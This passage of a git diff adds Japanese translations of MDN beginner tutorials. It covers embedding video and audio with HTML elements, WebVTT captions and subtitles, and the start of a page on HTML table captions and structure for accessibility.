href="http://blog.cloudfour.com/responsive-images-101-definitions">Jason Grigsby のレスポンシブ画像の優れた紹介</a>(英語)</li> + <li><a href="https://css-tricks.com/responsive-images-youre-just-changing-resolutions-use-srcset/">レスポンシブ画像: 解像度を変更するだけの場合は、srcset を使う</a> — ブラウザーがどの画像を使用するかの詳細な説明が含まれています(英語)</li> + <li>{{htmlelement("img")}}</li> + <li>{{htmlelement("picture")}}</li> + <li>{{htmlelement("source")}}</li> +</ul> + +<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page", "Learn/HTML/Multimedia_and_embedding")}}</div> + +<div> +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">HTML の画像</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">動画と音声のコンテンツ</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies"><object> から <iframe> へ — その他の埋め込み技術</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Web にベクターグラフィックスを追加する</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">レスポンシブ画像</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Mozilla のスプラッシュページ</a></li> +</ul> +</div> diff --git a/files/ja/learn/html/multimedia_and_embedding/video_and_audio_content/index.html b/files/ja/learn/html/multimedia_and_embedding/video_and_audio_content/index.html new file mode 100644 index 0000000000..205d7b7027 --- /dev/null +++ b/files/ja/learn/html/multimedia_and_embedding/video_and_audio_content/index.html @@ -0,0 +1,307 @@ +--- +title: 動画と音声のコンテンツ +slug: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content +tags: + - Article + - Audio + - Beginner + - Guide + - HTML + - Video + - captions + - subtitles + - track + - ガイド + - 初心者 + - 動画 + - 記事 + - 音声 +translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}</div> + +<p class="summary">Webページに簡単な画像を追加するのができるようになったので、次のステップは HTML 文書に動画と音声のプレイヤーを追加することです! この記事では {{htmlelement("video")}} と {{htmlelement("audio")}} 要素を使ってそうすることを見ていきます。それから動画にキャプションや字幕を追加する方法を見て完了します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピュータリテラシー、<a href="/ja/Learn/Getting_started_with_the_web/Installing_basic_software">インストールされた基本ソフトウェア</a>、<a href="/ja/Learn/Getting_started_with_the_web/Dealing_with_files">ファイル操作</a>の基本知識、HTML の基礎知識(<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTML 入門</a>)、および <a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">HTML の画像</a>。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>動画や音声のコンテンツをWebページに埋め込み、動画にキャプションや字幕を追加する方法を学びます。</td> + </tr> + </tbody> +</table> + +<h2 id="Audio_and_video_on_the_web" name="Audio_and_video_on_the_web">Webでの動画と音声</h2> + +<p>Web 開発者は、あらゆる種類の動画 (動画ファイルはテキストや画像よりもはるかに大きい) をサポートするのに十分な速さがある帯域幅を使い始めた2000年代初頭以来、Web 上で動画や音声を長時間使用したいと考えていました。初期段階では、HTML などのネイティブな Web テクノロジーでは動画や音声を Web に埋め込むことができなかったため、<a href="https://ja.wikipedia.org/wiki/Adobe_Flash">Flash</a> (および後で <a href="https://ja.wikipedia.org/wiki/Microsoft_Silverlight">Silverlight</a>) などの独自技術 (またはプラグインベース) が一般的になりました。この種の技術はうまくいきましたが、HTML/CSS の機能、セキュリティの問題、アクセシビリティの問題でうまく機能しないなど、さまざまな問題がありました。</p> + +<p>もし正しく行っていれば、ネイティブな解決策はこれの多くを解決します。幸いにも、数年後、{{glossary("HTML5")}} 仕様には、{{htmlelement("video")}} 要素と {{htmlelement("audio")}} 要素、およびそれらを制御するためのいくつかのぴかぴかの新しい {{Glossary("JavaScript")}} {{Glossary("API")}} が追加されました。ここでは JavaScript を見ていません — HTML で実現できる基本的な基礎だけです。</p> + +<p>音声や動画のファイルを作成する方法は教えません — 完全に異なる知識や技能が必要です。あなたが実験のための<a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/video-and-audio-content">音声や動画のファイルとサンプルコード</a>を手に入れることができない場合に備えて、それを提供しています。</p> + +<div class="note"> +<p><strong>メモ</strong>: ここから始める前に、<a href="https://www.youtube.com/">YouTube</a>、<a href="http://www.dailymotion.com">Dailymotion</a>、<a href="https://vimeo.com/">Vimeo </a>のような {{glossary("OVP")}} (オンライン動画プロバイダ) と <a href="https://soundcloud.com/">Soundcloud</a> のようなオンライン音声プロバイダがあることも知っておく必要があります。そのような企業は、動画をホストして消費するための便利で簡単な方法を提供するので、莫大な帯域幅の消費を心配する必要はありません。OVP は通常、Web ページに動画や音声を埋め込むための既製コードを提供しています。その道を行くなら、この記事で取り上げるいくつかの困難を避けることができます。この種のサービスについては、次の記事でもう少し詳しく説明します。</p> +</div> + +<h3 id="The_<video>_element" name="The_<video>_element"><video> 要素</h3> + +<p>{{htmlelement("video")}} 要素を使用すると、動画を非常に簡単に埋め込むことができます。本当に簡単な例は次のようになります。</p> + +<pre class="brush: html"><video src="rabbit320.webm" controls> + <p>お使いのブラウザは HTML5 動画をサポートしていません。その代わりに<a href="rabbit320.webm">動画へのリンク</a>があります。</p> +</video></pre> + +<p>機能は次のとおりです。</p> + +<dl> + <dt>{{htmlattrxref("src","video")}}</dt> + <dd>{{htmlelement("img")}} 要素と同じように、<code>src</code> (ソース) 属性には、埋め込みたい動画へのパスが含まれています。これは、まったく同じように動作します。</dd> + <dt>{{htmlattrxref("controls","video")}}</dt> + <dd>ユーザは、動画や音声の再生を制御できる必要があります (特に<a href="https://ja.wikipedia.org/wiki/%E3%81%A6%E3%82%93%E3%81%8B%E3%82%93#%E7%96%AB%E5%AD%A6">てんかん</a>を患っている人にとっては重要です)。<code>controls</code> 属性を使用してブラウザ独自のコントロールインターフェイスを組み込むか、適切な <a href="/ja/docs/Web/API/HTMLMediaElement">JavaScript API</a> を使用してインターフェイスを構築する必要があります。少なくとも、インターフェイスにはメディアの開始と停止、および音量の調整が含まれている必要があります。</dd> + <dt><code><video></code> タグ内の段落</dt> + <dd>これは<strong>代替コンテンツ</strong>と呼ばれ、ページにアクセスしているブラウザが <code><video></code> 要素をサポートしていない場合に表示され、古いブラウザでの代替手段となります。これはあなたが好きなことができます。この場合、動画ファイルへの直接リンクが提供されているため、使用しているブラウザに関係なく、ユーザは少なくとも何らかの方法でアクセスできます。</dd> +</dl> + +<p>埋め込み動画は次のようになります。</p> + +<p><img alt="小さな白いウサギの動画を表示するシンプルなビデオプレーヤー" src="https://mdn.mozillademos.org/files/12794/simple-video.png" style="display: block; height: 592px; margin: 0px auto; width: 589px;"></p> + +<p>ここで<a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/simple-video.html">サンプルをライブで試す</a>ことができます(<a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/video-and-audio-content/simple-video.html">ソースコード</a>も参照してください)。</p> + +<h3 id="Supporting_multiple_formats" name="Supporting_multiple_formats">複数のフォーマットをサポートする</h3> + +<p>上の例では、Safari や Internet Explorer などのブラウザで上記のライブのリンクにアクセスしたなら、すでに気づいているかもしれない問題があります。動画は再生されません! これは、さまざまなブラウザが異なる動画 (および音声) のフォーマットをサポートしているためです。</p> + +<p>用語をすばやく説明しましょう。MP3、MP4、WebM などの形式は<strong>コンテナフォーマット</strong>と呼ばれます。それらは、音声トラック、動画トラック (動画の場合)、および提示されるメディアを記述するメタデータなど、歌または動画全体を構成する異なる部分を含みます。</p> + +<p>音声トラックと動画トラックもさまざまなフォーマットになっています。たとえば:</p> + +<ul> + <li>WebM コンテナは、通常、VP8/VP9 動画で Ogg Vorbis 音声をパッケージ化します。これは主に Firefox と Chrome でサポートされています。</li> + <li>MP4 コンテナは、H.264 動画で AAC または MP3 音声をパッケージ化することがよくあります。これは主に Internet Explorer と Safari でサポートされています。</li> + <li>古い Ogg コンテナは、Ogg Vorbis 音声と Ogg Theora 動画と一緒に行く傾向があります。これは主に Firefox と Chrome でサポートされていましたが、基本的には良質の WebM フォーマットに取って代わられています。</li> +</ul> + +<p>オーディオプレーヤーは、音声トラックを直接再生する傾向があります。たとえば、MP3 または Ogg ファイル。これらはコンテナを必要としません。</p> + +<div class="note"> +<p><strong>メモ</strong>: <a href="/ja/docs/Web/HTML/Supported_media_formats#Browser_compatibility">音声と動画のコーデックの互換性表</a>からわかるように、それほど単純ではありません。さらに、多くのモバイルプラットフォームのブラウザは、サポート対象のシステムのメディアプレーヤーに再生するためにそれを渡すことで、サポートされていないフォーマットを再生することができます。しかしこれは今のところできます。</p> +</div> + +<p>上記のフォーマットは、動画と音声を管理可能なファイルに圧縮するために存在します (生の動画と音声は非常に大きい)。ブラウザには、Vorbis や H.264 などの<strong>{{Glossary("Codec","コーデック")}}</strong>が含まれています。これらのコーデックは、圧縮された音声と動画を2進数字に変換して戻すために使用されます。上記のように、残念ながらブラウザはすべて同じコーデックをサポートしているわけではないので、メディアの制作ごとに複数のファイルを用意する必要があります。メディアをデコードするために適切なコーデックがない場合、再生されません。</p> + +<div class="note"> +<p><strong>メモ</strong>: なぜこのような状況が存在するのだろうか。<strong>MP3 </strong>(音声用)と <strong>MP4/H.264</strong> (動画用) はどちらも広くサポートされており、良質です。しかし、それらはまた、特許を握られている — 米国特許は、MP3 は2017年まで、H.264 は2027年までカバーしています。つまり、特許を保有していないブラウザは、これらのフォーマットをサポートするために膨大な金額を支払う必要があります。さらに、多くの人々は、制限されたソフトウェアを原則として避け、オープンフォーマットを支持しています。このため、さまざまなブラウザに複数のフォーマットを提供する必要があります。</p> +</div> + +<p>だから私たちはこれをどうやってやるのか? 以下の<a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html">更新された例</a>を見てください (それを<a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html">ここでライブで試して</a>みてください)。</p> + +<pre class="brush: html"><video controls> + <source src="rabbit320.mp4" type="video/mp4"> + <source src="rabbit320.webm" type="video/webm"> + <p>お使いのブラウザは HTML5 動画をサポートしていません。その代わりに<a href="rabbit320.mp4">動画へのリンク</a>があります。</p> +</video></pre> + +<p>ここでは実際の <code><video></code> タグから <code>src</code> 属性を取り出し、独自のソースを指す別々の {{htmlelement("source")}} 要素を追加しました。この場合、ブラウザは <code><source></code> 要素を通過し、サポートするコーデックがある最初の要素を再生します。WebM や MP4 のソースを含めれば、最近のほとんどのプラットフォームやブラウザで動画を再生できるはずです。</p> + +<p>各 <code><source></code> 要素には <code>type</code> 属性もあります。これはオプションですが、動画ファイルの {{glossary("MIME type","MIME タイプ")}}が含まれており、ブラウザがこれらを読み込んで理解できない動画をすぐにスキップすることができます。それらが含まれていない場合、ブラウザは各ファイルを読み込んで再生しようとしますが、より多くの時間とリソースを必要とします。</p> + +<div class="note"> +<p><strong>メモ</strong>: <a href="/ja/docs/Web/HTML/Supported_media_formats">サポートされているメディアフォーマットの記事</a>には、一般的な {{glossary("MIME type","MIME タイプ")}}がいくつか含まれています。</p> +</div> + +<h3 id="Other_<video>_features" name="Other_<video>_features">その他の <video> 機能</h3> + +<p>HTML5 動画に含めることができる他の多くの機能があります。以下の3番目の例を見てください。</p> + +<pre class="brush: html"><video controls width="400" height="400" + autoplay loop muted + poster="poster.png"> + <source src="rabbit320.mp4" type="video/mp4"> + <source src="rabbit320.webm" type="video/webm"> + <p>お使いのブラウザは HTML5 動画をサポートしていません。その代わりに<a href="rabbit320.mp4">動画へのリンク</a>があります。</p> +</video> +</pre> + +<p>これにより、次のような出力が得られます。</p> + +<p><img alt='再生する前にポスター画像を表示するビデオプレーヤー。 ポスター画像には "HTML5 video example, OMG hell yeah!" と書いてあります。' src="https://mdn.mozillademos.org/files/12796/extra-video-features.png" style="display: block; height: 731px; margin: 0px auto; width: 653px;">新しい機能は次のとおりです。</p> + +<dl> + <dt>{{htmlattrxref("width","video")}} と {{htmlattrxref("height","video")}}</dt> + <dd>これらの属性または {{Glossary("CSS")}} を使用して動画サイズを制御することができます。どちらの場合も、動画は元の縦横比 (<strong>アスペクト比</strong>) を維持します。アスペクト比が設定したサイズによって維持されない場合、動画は水平方向にスペースを埋めるように拡大し、デフォルトでは満たされていないスペースには無地の背景色が与えられます。</dd> + <dt>{{htmlattrxref("autoplay","video")}}</dt> + <dd>この属性は、ページの残りの部分がロードされている間に音声または動画の再生をすぐに開始します。ユーザに実際に迷惑をかけることがあるので、サイトで動画 (または音声) を自動再生することはお勧めしません。</dd> + <dt>{{htmlattrxref("loop","video")}}</dt> + <dd>この属性は、動画 (または音声) が終了するたびに再生を開始させます。これは迷惑になることもありますので、本当に必要な場合にのみ使用してください。</dd> + <dt>{{htmlattrxref("muted","video")}}</dt> + <dd>この属性を使用すると、デフォルトで音声をオフにしてメディアを再生します。</dd> + <dt>{{htmlattrxref("poster","video")}}</dt> + <dd>この属性は、動画の再生前に表示される画像の URL を値としてとります。これは、スプラッシュ画面または広告画面に使用するためのものです。</dd> + <dt>{{htmlattrxref("preload","video")}}</dt> + <dd> + <p>この属性は、大きなファイルをバッファリングする要素で使用されます。3つの値のいずれかを取ることができます。</p> + + <ul> + <li><code>"none"</code> はファイルをバッファリングしません</li> + <li><code>"auto"</code> はメディアファイルをバッファリングする</li> + <li><code>"metadata"</code> はファイルのメタデータのみをバッファリングする</li> + </ul> + </dd> +</dl> + +<p>上記の例は <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html">Github でライブで再生する</a>ことができます (<a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html">ソースコード</a>も参照してください)。ライブバージョンには <code>autoplay</code> 属性は含まれていません — ページが読み込まれるとすぐに動画が再生され始めると、ポスターを見ることはできません!</p> + +<h3 id="The_<audio>_element" name="The_<audio>_element"><audio> 要素</h3> + +<p>{{htmlelement("audio")}} 要素は、{{htmlelement("video")}} 要素とまったく同じように動作しますが、以下に説明するように若干の違いがあります。典型的な例は次のようになります。</p> + +<pre class="brush: html"><audio controls> + <source src="viper.mp3" type="audio/mp3"> + <source src="viper.ogg" type="audio/ogg"> + <p>お使いのブラウザは HTML5 音声をサポートしていません。代わりに<a href="viper.mp3">音声へのリンク</a>があります。</p> +</audio></pre> + +<p>これはブラウザで次のようなものを生成します。</p> + +<p><img alt="再生ボタン、タイマー、音量コントロール、および進行状況バーを備えたシンプルなオーディオプレーヤー" src="https://mdn.mozillademos.org/files/12798/audio-player.png" style="display: block; height: 413px; margin: 0px auto; width: 626px;"></p> + +<div class="note"> +<p><strong>メモ</strong>: Github で<a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-audio-formats.html">音声デモをライブで実行する</a>こともできます (オーディオプレーヤーの<a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/multiple-audio-formats.html">ソースコード</a>も参照してください)。</p> +</div> + +<p>ビジュアルコンポーネントがないため、ビデオプレーヤーよりもスペースが少なくなります — 音声を再生するコントロールを表示するだけで済みます。HTML5 動画とのその他の相違点は次のとおりです。</p> + +<ul> + <li>{{htmlelement("audio")}} 要素は <code>width</code> 属性や <code>height</code> 属性をサポートしていません — ビジュアルコンポーネントがないため、幅や高さを割り当てることはありません。</li> + <li>また、<code>poster</code> 属性もサポートしていません — ビジュアルコンポーネントはありません。</li> +</ul> + +<p>これ以外について <code><audio></code> は、<code><video></code> と同じ機能をすべてサポートしています。詳細については、上記のセクションを参照してください。</p> + +<h2 id="Displaying_video_text_tracks" name="Displaying_video_text_tracks">動画のテキストトラックを表示する</h2> + +<p>ここでは、もっと知りたいと思う、やや高度なコンセプトについて説明します。多くの人々は、少なくともある時点では、Web上で見つけた音声や動画のコンテンツを聞くことができない、または聞きたくない。たとえば:</p> + +<ul> + <li>多くの人が聴覚障害を持っているため、音声は聞こえません。</li> + <li>他の人は、騒々しい環境 (スポーツゲームが表示されているときの混雑したバーのような) や、静かな場所 (図書館など) にいると他の人を邪魔したくないため、音声を聞くことができないことがあります。</li> + <li>動画の言語を話さない人には、テキストの写しや翻訳がメディアのコンテンツを理解するのに役立つかもしれません。</li> +</ul> + +<p>音声や動画で話されている言葉の写しをこれらの人々に提供できるのはうれしいことではないでしょうか? HTML5 動画のおかげで、<a href="/ja/docs/Web/API/Web_Video_Text_Tracks_Format">WebVTT</a> フォーマットと {{htmlelement("track")}} 要素を使用することができます。</p> + +<div class="note"> +<p><strong>メモ</strong>: "転記" と "写し" とは、話し言葉をテキストとして書き留めることを意味します。</p> +</div> + +<p>WebVTT は、複数のテキスト文字列を含むテキストファイルを書くための形式です。動画内の何時に各テキスト文字列を表示するかや、限られたスタイリング/位置情報などのメタデータが一緒に含まれています。これらのテキスト文字列は<strong>キュー</strong>と呼ばれ、さまざまな目的のためにさまざまなタイプを表示できます。最も一般的なものは次のとおりです。</p> + +<dl> + <dt>字幕 (subtitles)</dt> + <dd>音声で話されている言葉を理解していない人々のための外国の翻訳材料。</dd> + <dt>キャプション (captions)</dt> + <dd>対話や重要な物音の描写の同期化で、音声を聞くことができない人が何が起こっているのかを理解できるようにする。</dd> + <dt>時限記述 (timed descriptions)</dt> + <dd>視覚障害者にサービスを提供するために、音声に変換するためのテキスト。</dd> +</dl> + +<p>典型的な WebVTT ファイルは次のようになります。</p> + +<pre class="eval line-numbers language-html"><code class="language-html">WEBVTT + +1 +00:00:22.230 --> 00:00:24.606</code> +<code>これが最初の字幕です。</code> +<code class="language-html"> +2 +00:00:30.739 --> 00:00:34.074</code> +<code>これは二番目です。 +<code class="language-html"> + ...</code></code> +</pre> + +<p>これを HTML メディアの再生と一緒に表示するには、以下を行う必要があります。</p> + +<ol> + <li>適切な場所に <code>.vtt</code> ファイルとして保存します。</li> + <li>{{htmlelement("track")}} 要素で <code>.vtt</code> ファイルにリンクします。<code><track></code> は <code><audio></code> または <code><video></code> 内に配置する必要がありますが、すべての <code><source> </code>要素の後に配置する必要があります。{{htmlattrxref("kind","track")}} 属性を使用して、キューが <code>subtitles</code>、<code>captions</code>、または <code>descriptions</code> のいずれであるかを指定します。さらに、{{htmlattrxref("srclang","track")}} 属性を使用して、字幕が書かれた言語をブラウザに伝えます。</li> +</ol> + +<p>ここに例があります。</p> + +<pre class="brush: html"><video controls> + <source src="example.mp4" type="video/mp4"> + <source src="example.webm" type="video/webm"> + <track kind="subtitles" src="subtitles_en.vtt" srclang="en"> +</video></pre> + +<p>これにより、字幕が表示された動画になります。これは次のようなものです。</p> + +<p><img alt='再生、停止、音量、キャプションのオン/オフなどのスタンドコントロールを備えたビデオプレーヤー。 動画の再生には、槍のような武器を持つ男のシーンが表示され、キャプションには "Esta hoja tiene pasado oscuro." と表示されます。' src="https://mdn.mozillademos.org/files/7887/video-player-with-captions.png" style="display: block; height: 365px; margin: 0px auto; width: 593px;"></p> + +<p>詳しくは、<a href="https://developer.mozilla.org/ja/docs/Web/Guide/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video">HTML5 動画にキャプションと字幕を追加する</a>をご覧ください。Github には Ian Devlin によって書かれた<a href="http://iandevlin.github.io/mdn/video-player-with-captions/">この記事の例</a>があります (<a href="https://github.com/iandevlin/iandevlin.github.io/tree/master/mdn/video-player-with-captions">ソースコード</a>も参照してください)。この例では、JavaScript を使用してさまざまな字幕を選択できるようにしています。字幕をオンにするには、[CC] ボタンを押して、英語、ドイツ語、スペイン語のオプションを選択する必要があります。</p> + +<div class="note"> +<p><strong>メモ</strong>: テキストトラックは検索エンジンが特にテキスト上で成功するため、{{glossary("SEO")}} にも役立ちます。テキストトラックを使用すると、検索エンジンは動画の途中地点に直接リンクすることもできます。</p> +</div> + +<h3 id="Active_learning_Embedding_your_own_audio_and_video" name="Active_learning_Embedding_your_own_audio_and_video">アクティブラーニング: 自分の音声と動画を埋め込む</h3> + +<p>この能動的学習のために、(理想的には) あなたが世界に出て自分の動画や音声を録画するのが好ましいです — 最近の携帯電話では、音声や動画を非常に簡単に録音することができ、コンピュータに転送することができれば使用できます。動画の場合は WebM と MP4、音声の場合は MP3 と Ogg に行き着くには、変換する必要があるかもしれませんが、<a href="http://www.mirovideoconverter.com/">Miro Video Converter</a> や <a href="https://sourceforge.net/projects/audacity/">Audacity</a> など、あまり多くの手間をかけることなく、これを行うための十分なプログラムがあります。さあ、行ってください!</p> + +<p>動画や音声を入手できない場合は、この<a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/video-and-audio-content">サンプル</a>を自由に使用してこの演習を行うことができます。サンプルコードを参照のために使用することもできます。</p> + +<p>次のことをしましょう。</p> + +<ol> + <li>音声と動画のファイルをコンピュータの新しいディレクトリに保存します。</li> + <li>同じディレクトリに <code>index.html</code> と呼ばれる新しい HTML ファイルを作成します。</li> + <li>ページに <code><audio></code> 要素と <code><video></code> 要素を追加します。それらにデフォルトのブラウザコントロールを表示させます。</li> + <li>両方の要素に <code><source></code> 要素を付けて、ブラウザが最もよくサポートするフォーマットを見つけて読み込むようにします。これらは <code>type</code> 属性を含むべきです。</li> + <li><code><video></code> 要素に、動画が再生される前に表示されるポスターを指定します。自分のポスターのグラフィックを作成して楽しんでください。</li> +</ol> + +<p>追加のボーナスとして、テキストトラックの研究や動画にキャプションを追加する方法などがあります。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>それはラップです。Web ページで動画や音声を楽しみながら楽しく遊びました! 次の記事では、{{htmlelement("iframe")}} や {{htmlelement("object")}} などの技術を使用して、Webにコンテンツを埋め込む他の方法について説明します。</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{htmlelement("audio")}}</li> + <li>{{htmlelement("video")}}</li> + <li>{{htmlelement("source")}}</li> + <li>{{htmlelement("track")}}</li> + <li><a href="https://developer.mozilla.org/ja/docs/Web/Guide/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video">HTML5 の動画へのキャプションと字幕の追加</a></li> + <li><a href="/ja/docs/Web/Guide/Audio_and_video_delivery">音声と動画の配信</a>: HTML と JavaScript を使用して音声と動画をWebページに配置することに関する詳細。</li> + <li><a href="/ja/docs/Web/Guide/Audio_and_video_manipulation">音声と動画の加工</a>: JavaScript を使用して音声や動画を操作する方法について詳しく説明します (たとえばフィルタを追加するなど)。</li> + <li><a href="http://www.inwhatlanguage.com/blog/translate-video-audio/">マルチメディアを翻訳する</a>ための自動オプション。(英語)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">HTML の画像</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">動画と音声のコンテンツ</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies"><object> から <iframe> へ — その他の埋め込み技術</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Web にベクターグラフィックスを追加する</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">レスポンシブ画像</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Mozilla のスプラッシュページ</a></li> +</ul> + +<dl> +</dl> + +<ul> +</ul> diff --git a/files/ja/learn/html/tables/advanced/index.html b/files/ja/learn/html/tables/advanced/index.html new file mode 100644 index 0000000000..bb33f6e292 --- /dev/null +++ b/files/ja/learn/html/tables/advanced/index.html @@ -0,0 +1,475 @@ +--- +title: HTML 表の高度な機能とアクセシビリティ +slug: Learn/HTML/Tables/Advanced +tags: + - Accessibility + - Advanced + - Article + - Beginner + - CodingScripting + - HTML + - Headers + - Learn + - caption + - scope + - sumary + - table + - tbody + - tfoot + - thead +translation_of: Learn/HTML/Tables/Advanced +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}</div> + +<p class="summary">このモジュールの2番目の記事では、HTML テーブルのより高度な機能 (キャプション/要約、行をテーブルのヘッダー、本文、フッターのセクションにグループ化するなど) や、視覚障碍のあるユーザのためのテーブルのアクセシビリティについて調べます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>HTML の基礎 (<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>を参照)。</td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>表のより高度な機能やアクセシビリティについて学ぶ</td> + </tr> + </tbody> +</table> + +<h2 id="Adding_a_caption_to_your_table_with_<caption>" name="Adding_a_caption_to_your_table_with_<caption>"><caption> を用いて表にキャプションを追加する</h2> + +<p>テーブルにキャプションを付けるには、{{htmlelement("caption")}} 要素内に配置し、それを {{htmlelement("table")}} 要素内にネストします。これは <code><table></code> 要素の開始タグすぐ下に置くべきです。</p> + +<pre class="brush: html"><table> + <caption>ジュラ紀の恐竜</caption> + + ... +</table></pre> + +<p>上記の簡単な例から推測できるように、キャプションには表の内容の説明が含まれています。 これは、ページに目を通して表が役に立つかどうかをすぐに把握したい全ての読者にとって便利ですが、特に盲目のユーザにとっては便利です。 スクリーンリーダーに表の内容を知るためだけに多くのセルの内容を読み上げさせるのではなく、キャプションを頼りにして表をより詳細に読み取るかどうかを決定できます。</p> + +<p>キャプションは <code><table></code> タグのすぐ下に配置します。</p> + +<div class="note"> +<p><strong>注</strong>: {{htmlattrxref("summary","table")}} 属性は、<code><table></code> 要素で説明を提供するためにも使用できます。 これはスクリーンリーダーによっても読み上げられます。 ただし、<code>summary</code> は HTML5 仕様では{{glossary("deprecated","推奨されておらず")}}、(ページには表示されないので)晴眼のユーザには読むことができないため、代わりに <code><caption></code> 要素を使用することをお勧めします。</p> +</div> + +<h3 id="Active_learning_Adding_a_caption" name="Active_learning_Adding_a_caption">アクティブラーニング: キャプションの追加</h3> + +<p>前の記事で最初に出会った例を再考しながら、これを試してみましょう。</p> + +<ol> + <li><a href="/ja/docs/Learn/HTML/Tables/Basics#Active_learning_colgroup_and_col">HTML 表の基本</a>の最後から語学教師の学校の時間割を開くか、または <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/timetable-fixed.html">timetable-fixed.html</a> ファイルのローカルコピーを作成してください。</li> + <li>表に適切なキャプションを追加します。</li> + <li>コードを保存してブラウザで開くと、コードがどのように見えるかがわかります。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: GitHub で私たちのバージョンを見つけることができます — <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/timetable-caption.html">timetable-caption.html</a> を見てください(<a href="http://mdn.github.io/learning-area/html/tables/advanced/timetable-caption.html">ライブもご覧ください</a>)。</p> +</div> + +<h2 id="Adding_structure_with_<thead>_<tfoot>_and_<tbody>" name="Adding_structure_with_<thead>_<tfoot>_and_<tbody>"><thead>、<tfoot>、<tbody> を用いて構造を追加する</h2> + +<p>表の構造がもう少し複雑になったら、それらにもっと構造的な定義を与えることは有用です。 これを行う明確な方法の1つは、{{htmlelement("thead")}}、{{htmlelement("tfoot")}}、および {{htmlelement("tbody")}} を使用することです。 これにより、表のヘッダー、フッター、および本体のセクションをマークアップできます。</p> + +<p>これらの要素によって表がスクリーンリーダーのユーザにアクセスしやすくなることはなく、また視覚的な機能強化が生じることもありません。 ただし、これらはスタイリングやレイアウトに非常に役立ちます — CSS を表に追加するための便利なフックとして機能します。 いくつか興味深い例を挙げると、長い表の場合、全ての印刷ページで表のヘッダーとフッターを繰り返すようにしたり、表の本体を単一ページに表示して、上下にスクロールして内容を表示したりすることができます。</p> + +<p>それらを使用するには、</p> + +<ul> + <li><code><thead></code> 要素は、表のヘッダー部分をラップする必要があります — これは通常、列見出しを含む最初の行になりますが、必ずしもそうとは限りません。 {{htmlelement("col")}} 要素や {{htmlelement("colgroup")}} 要素を使用している場合、表のヘッダーはそれらのすぐ下にくるはずです。</li> + <li><code><tfoot></code> 要素は、表のフッター部分をラップする必要があります — これは、例えば、前の行の項目が合計された最終行になります。 表のフッターは、期待通りに表の一番下に配置することも、表のヘッダーのすぐ下に配置することもできます(ブラウザはそれを表の一番下に表示します)。</li> + <li><code><tbody></code> 要素は、表のヘッダーまたはフッターではない表のコンテンツの他の部分をラップする必要があります。 どのように構成することにしたかに応じて、表のヘッダーの下に出現するか、時にはフッターの下に出現することがあります (上記の注を参照)。</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: <code><tbody></code> は常に全ての表に含まれていて、コードで指定しない場合は暗黙的に含まれます。 これを確認するには、<code><tbody></code> を含まない以前の例の1つを開き、<a href="/ja/docs/Learn/Common_questions/What_are_browser_developer_tools">ブラウザ開発者ツール</a>の HTML 